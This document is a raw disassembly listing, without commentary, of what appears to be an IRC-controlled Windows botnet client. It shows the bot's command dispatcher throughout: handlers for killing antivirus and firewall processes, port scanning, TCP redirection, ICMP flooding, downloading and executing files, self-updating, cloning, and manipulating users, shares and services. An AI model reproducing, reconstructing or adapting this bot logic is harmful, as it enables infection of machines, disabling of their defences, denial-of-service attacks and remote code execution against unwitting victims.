		repe cmpsb
		jz	loc_40AF97
		push	3
		mov	edi, eax
		mov	esi, offset aDn	; "dn"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AF97
		push	9
		mov	edi, eax
		mov	esi, offset aKillproc ;	"killproc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AF64
		push	3
		mov	edi, eax
		mov	esi, offset aKp	; "kp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AF64
		push	0Ch
		mov	edi, eax
		mov	esi, offset aKilldelproc ; "killdelproc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AF1C
		push	4
		mov	edi, eax
		mov	esi, offset aKdp ; "kdp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AF1C
		push	5
		mov	edi, eax
		mov	esi, offset aKill ; "kill"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AEBB
		push	3
		mov	edi, eax
		mov	esi, offset aKi	; "ki"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AEBB
		push	7
		mov	edi, eax
		mov	esi, offset aDelete ; "delete"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AE69
		push	4
		mov	edi, eax
		mov	esi, offset aDel ; "del"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AE69
		push	5
		mov	edi, eax
		mov	esi, offset aList_0 ; "list"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AE49
		push	3
		mov	edi, eax
		mov	esi, offset aLi	; "li"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AE49
		push	8
		mov	edi, eax
		mov	esi, offset aMirccmd ; "mirccmd"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40ADD0
		push	5
		mov	edi, eax
		mov	esi, offset aMirc ; "mirc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40ADD0
		push	4
		mov	edi, eax
		mov	esi, offset aCmd ; "cmd"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AD74
		push	3
		mov	edi, eax
		mov	esi, offset aCm	; "cm"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AD74
		push	9
		mov	edi, eax
		mov	esi, offset aReadfile ;	"readfile"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40ACE0
		push	3
		mov	edi, eax
		mov	esi, offset aRf	; "rf"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40ACE0
		push	4
		mov	edi, eax
		mov	esi, offset aNet ; "net"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_40971F
		xor	eax, eax
		cmp	dword_433600, eax
		jz	short loc_4094A6
		cmp	dword_433628, eax
		jz	short loc_4094A6
		push	offset aNetFailedToLoa ; "[NET]: Failed	to load	advapi32.dll or	n"...
		jmp	loc_409714
; ---------------------------------------------------------------------------


loc_4094A6:				; CODE XREF: sub_4078FA+1B98j
					; sub_4078FA+1BA0j
		cmp	[ebp+var_14], eax
		jz	loc_40AE14
		mov	eax, [ebp+ebx+var_9C]
		and	[ebp+arg_0], 0
		test	eax, eax
		mov	[ebp+var_10], eax
		jz	short loc_4094CF
		push	eax
		push	[ebp+var_14]
		call	sub_413920
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax


loc_4094CF:				; CODE XREF: sub_4078FA+1BC5j
		mov	edx, [ebp+var_8]
		push	6
		mov	edi, edx
		mov	esi, offset aStart ; "start"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40953D
		cmp	[ebp+var_10], eax
		jz	short loc_40950B
		push	[ebp+arg_0]
		push	3


loc_4094EC:				; CODE XREF: sub_4078FA+1C58j
					; sub_4078FA+1C6Fj ...
		call	sub_40668A
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_412BB5
		add	esp, 14h
		jmp	loc_40AE14
; ---------------------------------------------------------------------------


loc_40950B:				; CODE XREF: sub_4078FA+1BEBj
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405DC5
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_2E0]
		jz	short loc_409533
		push	offset aNetServiceList ; "[NET]: Service list completed."
		jmp	loc_40AE0C
; ---------------------------------------------------------------------------


loc_409533:				; CODE XREF: sub_4078FA+1C2Dj
		push	offset aNetServiceLi_0 ; "[NET]: Service list failed."
		jmp	loc_40AE0C
; ---------------------------------------------------------------------------


loc_40953D:				; CODE XREF: sub_4078FA+1BE6j
		push	5
		mov	edi, edx
		mov	esi, offset aStop ; "stop"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_409554
		push	[ebp+arg_0]
		push	4
		jmp	short loc_4094EC
; ---------------------------------------------------------------------------


loc_409554:				; CODE XREF: sub_4078FA+1C51j
		push	6
		mov	edi, edx
		mov	esi, offset aPause ; "pause"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40956B
		push	[ebp+arg_0]
		push	5
		jmp	short loc_4094EC
; ---------------------------------------------------------------------------


loc_40956B:				; CODE XREF: sub_4078FA+1C68j
		push	9
		mov	edi, edx
		mov	esi, offset aContinue ;	"continue"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_409585
		push	[ebp+arg_0]
		push	6
		jmp	loc_4094EC
; ---------------------------------------------------------------------------


loc_409585:				; CODE XREF: sub_4078FA+1C7Fj
		push	7
		mov	edi, edx
		mov	esi, offset aDelete ; "delete"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40959F
		push	[ebp+arg_0]
		push	1
		jmp	loc_4094EC
; ---------------------------------------------------------------------------


loc_40959F:				; CODE XREF: sub_4078FA+1C99j
		push	6
		mov	edi, edx
		mov	esi, offset aShare ; "share"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_409623
		cmp	[ebp+var_10], eax
		jz	short loc_4095EF
		cmp	[ebp+var_448], al
		jz	short loc_4095C4
		push	eax
		push	[ebp+var_10]
		push	1
		jmp	short loc_4095D0
; ---------------------------------------------------------------------------


loc_4095C4:				; CODE XREF: sub_4078FA+1CC0j
		push	[ebp+ebx+var_98]
		push	[ebp+var_10]
		push	0


loc_4095D0:				; CODE XREF: sub_4078FA+1CC8j
		call	sub_406702
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_412BB5
		add	esp, 18h
		jmp	loc_40AE14
; ---------------------------------------------------------------------------


loc_4095EF:				; CODE XREF: sub_4078FA+1CB8j
		push	0
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4067C0
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2E0]
		jz	short loc_409619
		push	offset aNetShareListCo ; "[NET]: Share list completed."
		jmp	loc_40AE0C
; ---------------------------------------------------------------------------


loc_409619:				; CODE XREF: sub_4078FA+1D13j
		push	offset aNetShareListFa ; "[NET]: Share list failed."
		jmp	loc_40AE0C
; ---------------------------------------------------------------------------


loc_409623:				; CODE XREF: sub_4078FA+1CB3j
		push	5
		mov	edi, edx
		mov	esi, offset aUser ; "user"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_4096C5
		cmp	[ebp+var_10], eax
		jz	short loc_409691
		cmp	[ebp+var_448], al
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		jz	short loc_409658
		push	eax
		push	[ebp+var_10]
		push	1
		jmp	short loc_409672
; ---------------------------------------------------------------------------


loc_409658:				; CODE XREF: sub_4078FA+1D54j
		mov	ebx, [ebp+ebx+var_98]
		test	ebx, ebx
		jz	short loc_40966B
		push	ebx
		push	[ebp+var_10]
		push	0
		jmp	short loc_409672
; ---------------------------------------------------------------------------


loc_40966B:				; CODE XREF: sub_4078FA+1D67j
		push	0
		push	[ebp+var_10]
		push	2


loc_409672:				; CODE XREF: sub_4078FA+1D5Cj
					; sub_4078FA+1D6Fj
		call	sub_4068DF
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_412BB5
		add	esp, 24h
		jmp	loc_40AE14
; ---------------------------------------------------------------------------


loc_409691:				; CODE XREF: sub_4078FA+1D40j
		push	0
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4069A9
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2E0]
		jz	short loc_4096BB
		push	offset aNetUserListCom ; "[NET]: User list completed."
		jmp	loc_40AE0C
; ---------------------------------------------------------------------------


loc_4096BB:				; CODE XREF: sub_4078FA+1DB5j
		push	offset aNetUserListFai ; "[NET]: User list failed."
		jmp	loc_40AE0C
; ---------------------------------------------------------------------------


loc_4096C5:				; CODE XREF: sub_4078FA+1D37j
		push	5
		mov	edi, edx
		mov	esi, offset aSend ; "send"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40970F
		cmp	[ebp+var_10], eax
		jz	short loc_409708
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4065CE
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_412BB5
		add	esp, 1Ch
		jmp	loc_40AE14
; ---------------------------------------------------------------------------


loc_409708:				; CODE XREF: sub_4078FA+1DDEj
		push	offset aNetNoMessageSp ; "[NET]: No message specified."
		jmp	short loc_409714
; ---------------------------------------------------------------------------


loc_40970F:				; CODE XREF: sub_4078FA+1DD9j
		push	offset aNetCommandUnkn ; "[NET]: Command unknown."


loc_409714:				; CODE XREF: sub_4078FA+1BA7j
					; sub_4078FA+1E13j
		lea	eax, [ebp+var_2E0]
		jmp	loc_40AE0C
; ---------------------------------------------------------------------------


loc_40971F:				; CODE XREF: sub_4078FA+1B8Aj
		push	8
		mov	edi, eax
		mov	esi, offset aGethost ; "gethost"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40ABFB
		push	3
		mov	edi, eax
		mov	esi, offset aGh	; "gh"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40ABFB
		push	0Bh
		mov	edi, eax
		mov	esi, offset aAvfwkiller	; "avfwkiller"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_40984D
		mov	edi, [ebp+var_8]
		push	6
		mov	esi, offset aStart ; "start"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_409820
		lea	eax, [ebp+var_2E0]
		push	offset aAvfwAvFwBotKil ; "[AVFW]: AV/FW/BOT Killer active."
		push	eax
		call	sub_412BB5
		push	[ebp+ebx+var_9C]
		xor	edi, edi
		push	1
		push	offset aKillerThread ; "Killer Thread"
		push	offset aAvfw	; "[AVFW]"
		push	1
		push	edi
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_411120
		push	edi
		lea	eax, [ebp+var_2E0]
		push	1
		push	eax
		call	sub_410EEA
		add	esp, 34h
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_4074FD
		push	edi
		push	edi
		call	ds:dword_41F00C
		imul	esi, 234h
		cmp	eax, edi
		mov	dword_43434C[esi], eax
		jnz	short loc_4097F9
		call	ds:dword_41F008
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aAvfwFailedToSt ; "[AVFW]: Failed to start AV/FW	killer th"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_4097F9:				; CODE XREF: sub_4078FA+1EE2j
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_401C33
		cmp	[ebp+var_C], edi
		pop	ecx
		jnz	loc_407B7B
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		jmp	loc_40BC13
; ---------------------------------------------------------------------------


loc_409820:				; CODE XREF: sub_4078FA+1E70j
		mov	edi, [ebp+var_8]
		push	5
		mov	esi, offset aStop ; "stop"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_407B7B
		push	[ebp+ebx+var_9C]
		push	1
		push	offset aKillerThread ; "Killer Thread"
		push	offset aAvfw	; "[AVFW]"
		jmp	loc_40C14E
; ---------------------------------------------------------------------------


loc_40984D:				; CODE XREF: sub_4078FA+1E5Bj
		mov	ecx, [ebp+ebx+var_9C]
		test	ecx, ecx
		mov	[ebp+var_10], ecx
		jz	loc_407B7B
		push	9
		mov	edi, eax
		mov	esi, offset aAddalias ;	"addalias"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AB88
		push	3
		mov	edi, eax
		mov	esi, offset aAa	; "aa"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AB88
		push	8
		mov	edi, eax
		mov	esi, offset aPrivmsg_0 ; "privmsg"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AB1D
		push	3
		mov	edi, eax
		mov	esi, offset aPm_0 ; "pm"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AB1D
		push	7
		mov	edi, eax
		mov	esi, offset aAction ; "action"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AA9A
		push	2
		mov	edi, eax
		mov	esi, offset aA_1 ; "a"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AA9A
		push	6
		mov	edi, eax
		mov	esi, offset aCycle ; "cycle"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AA34
		push	3
		mov	edi, eax
		mov	esi, offset aCy	; "cy"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AA34
		push	5
		mov	edi, eax
		mov	esi, offset aMode ; "mode"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A9FA
		push	2
		mov	edi, eax
		mov	esi, offset aM	; "m"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A9FA
		push	6
		mov	edi, eax
		mov	esi, offset aC_raw ; "c_raw"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A98B
		push	4
		mov	edi, eax
		mov	esi, offset aC_r ; "c_r"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A98B
		push	7
		mov	edi, eax
		mov	esi, offset aC_mode ; "c_mode"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A905
		push	4
		mov	edi, eax
		mov	esi, offset aC_m ; "c_m"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A905
		push	7
		mov	edi, eax
		mov	esi, offset aC_nick ; "c_nick"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A894
		push	4
		mov	edi, eax
		mov	esi, offset aC_n ; "c_n"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A894
		push	7
		mov	edi, eax
		mov	esi, offset aC_join ; "c_join"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A86C
		push	4
		mov	edi, eax
		mov	esi, offset aC_j ; "c_j"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A86C
		push	7
		mov	edi, eax
		mov	esi, offset aC_part ; "c_part"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A806
		push	4
		mov	edi, eax
		mov	esi, offset aC_p ; "c_p"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A806
		push	7
		mov	edi, eax
		mov	esi, offset aRepeat ; "repeat"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A742
		push	3
		mov	edi, eax
		mov	esi, offset aRp	; "rp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A742
		push	6
		mov	edi, eax
		mov	esi, offset aDelay ; "delay"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A6A5
		push	3
		mov	edi, eax
		mov	esi, offset aDe	; "de"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A6A5
		push	7
		mov	edi, eax
		mov	esi, offset aUpdate ; "update"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A4CE
		push	3
		mov	edi, eax
		mov	esi, offset aUp	; "up"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A4CE
		push	8
		mov	edi, eax
		mov	esi, offset aExecute ; "execute"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A42B
		push	2
		mov	edi, eax
		mov	esi, offset aE	; "e"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A42B
		push	7
		mov	edi, eax
		mov	esi, offset aRename ; "rename"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A3D3
		push	3
		mov	edi, eax
		mov	esi, offset aMv	; "mv"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A3D3
		push	0Ah
		mov	edi, eax
		mov	esi, offset aIcmpflood ; "icmpflood"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A2AF
		push	5
		mov	edi, eax
		mov	esi, offset aIcmp ; "icmp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A2AF
		mov	ecx, [ebp+ebx+var_98]
		test	ecx, ecx
		mov	[ebp+arg_0], ecx
		jz	loc_407B7B
		push	6
		mov	edi, eax
		mov	esi, offset aClone_0 ; "clone"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A1C1
		push	2
		mov	edi, eax
		mov	esi, offset aC	; "c"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A1C1
		push	9
		mov	edi, eax
		mov	esi, offset aDownload ;	"download"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A044
		push	3
		mov	edi, eax
		mov	esi, offset aDl	; "dl"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40A044
		push	9
		mov	edi, eax
		mov	esi, offset aRedirect ;	"redirect"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_409F22
		push	3
		mov	edi, eax
		mov	esi, offset aRd	; "rd"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_409F22
		push	5
		mov	edi, eax
		mov	esi, offset aScan ; "scan"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_409E07
		push	3
		mov	edi, eax
		mov	esi, offset aSc	; "sc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_409E07
		push	0Ah
		mov	edi, eax
		mov	esi, offset aC_privmsg ; "c_privmsg"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_409D11
		push	5
		mov	edi, eax
		mov	esi, offset aC_pm ; "c_pm"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_409D11
		push	9
		mov	edi, eax
		mov	esi, offset aC_action ;	"c_action"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	short loc_409BDD
		push	4
		mov	edi, eax
		mov	esi, offset dword_425A64
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_408D7C


loc_409BDD:				; CODE XREF: sub_4078FA+22CDj
		push	[ebp+var_8]
		call	sub_412F42
		imul	eax, 234h
		cmp	byte_434350[eax], 0
		pop	ecx
		jz	loc_40CFE2
		mov	edi, [ebp+var_14]
		test	edi, edi
		jz	loc_40CFE2
		mov	eax, [ebp+var_20]
		lea	edx, [eax+1]


loc_409C0A:				; CODE XREF: sub_4078FA+2315j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_409C0A
		sub	eax, edx
		mov	ebx, eax
		mov	eax, [ebp+var_8]
		lea	ecx, [eax+1]


loc_409C1B:				; CODE XREF: sub_4078FA+2326j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_409C1B
		sub	eax, ecx
		mov	ecx, eax
		mov	eax, [ebp+var_10]
		lea	esi, [eax+1]


loc_409C2C:				; CODE XREF: sub_4078FA+2337j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_409C2C
		push	[ebp+arg_0]
		sub	eax, esi
		add	eax, ecx
		add	eax, ebx
		lea	eax, [eax+edi+2]
		push	eax
		call	sub_413920
		mov	esi, eax
		push	esi
		lea	eax, [ebp+var_2E0]
		push	offset dword_425A58
		push	eax
		call	sub_412BB5
		add	esp, 14h
		test	esi, esi
		jz	loc_40CFE2
		mov	edi, [ebp+var_8]
		push	edi
		call	sub_412F42
		test	eax, eax
		pop	ecx
		jle	loc_40CFE2
		push	edi
		call	sub_412F42
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40CFE2
		xor	ebx, ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_10]
		push	edi
		call	sub_412F42
		imul	eax, 234h
		pop	ecx
		push	dword_434344[eax]
		call	sub_4045DD
		push	edi
		call	sub_412F42
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_434138[eax], 73h
		jnz	loc_40CFE2
		push	esi
		push	edi
		call	sub_412F42
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_434350
		push	eax
		push	[ebp+var_10]
		push	offset aSSS_2	; "[%s]	* %s %s"


loc_409CE7:				; CODE XREF: sub_4078FA+2508j
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_412BB5
		push	ebx
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		jmp	loc_40BBEB
; ---------------------------------------------------------------------------


loc_409D11:				; CODE XREF: sub_4078FA+22A5j
					; sub_4078FA+22B9j
		push	[ebp+var_8]
		call	sub_412F42
		imul	eax, 234h
		cmp	byte_434350[eax], 0
		pop	ecx
		jz	loc_40CFE2
		mov	edi, [ebp+var_14]
		test	edi, edi
		jz	loc_40CFE2
		mov	eax, [ebp+var_20]
		lea	edx, [eax+1]


loc_409D3E:				; CODE XREF: sub_4078FA+2449j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_409D3E
		sub	eax, edx
		mov	ebx, eax
		mov	eax, [ebp+var_8]
		lea	ecx, [eax+1]


loc_409D4F:				; CODE XREF: sub_4078FA+245Aj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_409D4F
		sub	eax, ecx
		mov	ecx, eax
		mov	eax, [ebp+var_10]
		lea	esi, [eax+1]


loc_409D60:				; CODE XREF: sub_4078FA+246Bj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_409D60
		push	[ebp+arg_0]
		sub	eax, esi
		add	eax, ecx
		add	eax, ebx
		lea	eax, [eax+edi+2]
		push	eax
		call	sub_413920
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_40CFE2
		mov	edi, [ebp+var_8]
		push	edi
		call	sub_412F42
		test	eax, eax
		pop	ecx
		jle	loc_40CFE2
		push	edi
		call	sub_412F42
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40CFE2
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	esi
		push	[ebp+var_10]
		push	edi
		call	sub_412F42
		imul	eax, 234h
		pop	ecx
		push	dword_434344[eax]
		call	sub_4045DD
		push	edi
		call	sub_412F42
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_434138[eax], 73h
		jnz	loc_40CFE2
		push	esi
		push	edi
		call	sub_412F42
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_434350
		push	eax
		push	[ebp+var_10]
		push	offset aSSS_1	; "[%s]	<%s> %s"
		jmp	loc_409CE7
; ---------------------------------------------------------------------------


loc_409E07:				; CODE XREF: sub_4078FA+227Dj
					; sub_4078FA+2291j
		push	[ebp+var_8]
		call	dword_433514
		push	[ebp+var_10]
		mov	[ebp+var_2F8], eax
		call	sub_412F42
		push	[ebp+arg_0]
		mov	[ebp+var_304], eax
		call	sub_412F42
		mov	edi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_9C]
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_384]
		push	eax
		mov	[ebp+var_388], edi
		call	sub_412C40
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_4]
		add	esp, 14h
		push	[ebp+var_300]
		mov	[ebp+var_2F0], ebx
		push	[ebp+var_304]
		mov	[ebp+var_2EC], eax
		push	[ebp+var_2F8]
		call	dword_433520
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aScanPortScanSt ; "[SCAN]: Port scan started: %s:%d with	d"...
		push	eax
		call	sub_412BB5
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2E0]
		push	9
		push	eax
		call	sub_410EEA
		add	esp, 20h
		mov	[ebp+var_2FC], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_388]
		push	eax
		push	offset sub_40E8FF
		push	esi
		push	esi
		call	ds:dword_41F00C
		mov	ecx, [ebp+var_2FC]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43434C[ecx], eax
		jnz	short loc_409F18
		call	ds:dword_41F008
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan thread, er"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_409EF2:				; CODE XREF: sub_4078FA+2626j
		cmp	[ebp+var_C], esi
		jnz	loc_40C4A1
		push	esi
		push	ebx
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	edi
		jmp	loc_40C499
; ---------------------------------------------------------------------------


loc_409F10:				; CODE XREF: sub_4078FA+2624j
		push	32h
		call	ds:dword_41F000


loc_409F18:				; CODE XREF: sub_4078FA+25DBj
		cmp	[ebp+var_2E8], esi
		jz	short loc_409F10
		jmp	short loc_409EF2
; ---------------------------------------------------------------------------


loc_409F22:				; CODE XREF: sub_4078FA+2255j
					; sub_4078FA+2269j
		push	[ebp+var_8]
		call	sub_412F42
		push	7Fh
		push	[ebp+var_10]
		mov	[ebp+var_FD0], eax
		lea	eax, [ebp+var_10D4]
		push	eax
		call	sub_412C40
		push	[ebp+arg_0]
		call	sub_412F42
		push	[ebp+var_9C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_FD4], eax
		lea	eax, [ebp+var_1054]
		push	80h
		push	eax
		mov	[ebp+var_10DC],	esi
		call	sub_412E0D
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_4]
		add	esp, 20h
		push	[ebp+var_FD4]
		mov	[ebp+var_FC0], eax
		lea	eax, [ebp+var_10D4]
		push	eax
		push	[ebp+var_FD0]
		mov	[ebp+var_FC4], ebx
		push	esi
		call	sub_406C33
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aRedirectTcpRed ; "[REDIRECT]: TCP redirect created from: "...
		push	eax
		call	sub_412BB5
		xor	edi, edi
		push	edi
		lea	eax, [ebp+var_2E0]
		push	11h
		push	eax
		call	sub_410EEA
		add	esp, 24h
		mov	[ebp+var_FCC], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_10DC]
		push	eax
		push	offset sub_40D9BC
		push	edi
		push	edi
		call	ds:dword_41F00C
		mov	ecx, [ebp+var_FCC]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40A03A
		call	ds:dword_41F008
		push	eax
		push	offset aRedirectFailed ; "[REDIRECT]: Failed to	start redirection"...


loc_40A005:				; CODE XREF: sub_4078FA+28ADj
					; sub_4078FA+3FD1j ...
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_40A014:				; CODE XREF: sub_4078FA+2748j
					; sub_4078FA+28C2j ...
		cmp	[ebp+var_C], edi
		jnz	loc_40C4A1
		push	edi
		push	ebx
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	esi
		jmp	loc_40C499
; ---------------------------------------------------------------------------


loc_40A032:				; CODE XREF: sub_4078FA+2746j
		push	32h
		call	ds:dword_41F000


loc_40A03A:				; CODE XREF: sub_4078FA+26FDj
		cmp	[ebp+var_FBC], edi
		jz	short loc_40A032
		jmp	short loc_40A014
; ---------------------------------------------------------------------------


loc_40A044:				; CODE XREF: sub_4078FA+222Dj
					; sub_4078FA+2241j
		mov	esi, 0FFh
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_F28]
		push	eax
		call	sub_412C40
		push	[ebp+arg_0]
		xor	edi, edi
		mov	[ebp+var_C24], edi
		call	sub_412F42
		mov	[ebp+var_C20], eax
		mov	eax, [ebp+ebx+var_94]
		add	esp, 10h
		cmp	eax, edi
		jz	short loc_40A091
		push	10h
		push	edi
		push	eax
		call	sub_413809
		add	esp, 0Ch
		mov	[ebp+var_C18], eax
		jmp	short loc_40A097
; ---------------------------------------------------------------------------


loc_40A091:				; CODE XREF: sub_4078FA+2781j
		mov	[ebp+var_C18], edi


loc_40A097:				; CODE XREF: sub_4078FA+2795j
		mov	ebx, [ebp+ebx+var_90]
		cmp	ebx, edi
		jz	short loc_40A0B1
		push	ebx
		call	sub_412F42
		pop	ecx
		mov	[ebp+var_C1C], eax
		jmp	short loc_40A0B7
; ---------------------------------------------------------------------------


loc_40A0B1:				; CODE XREF: sub_4078FA+27A6j
		mov	[ebp+var_C1C], edi


loc_40A0B7:				; CODE XREF: sub_4078FA+27B5j
		push	3Fh
		push	[ebp+var_10]
		call	sub_413F30
		mov	ebx, eax
		cmp	ebx, edi
		pop	ecx
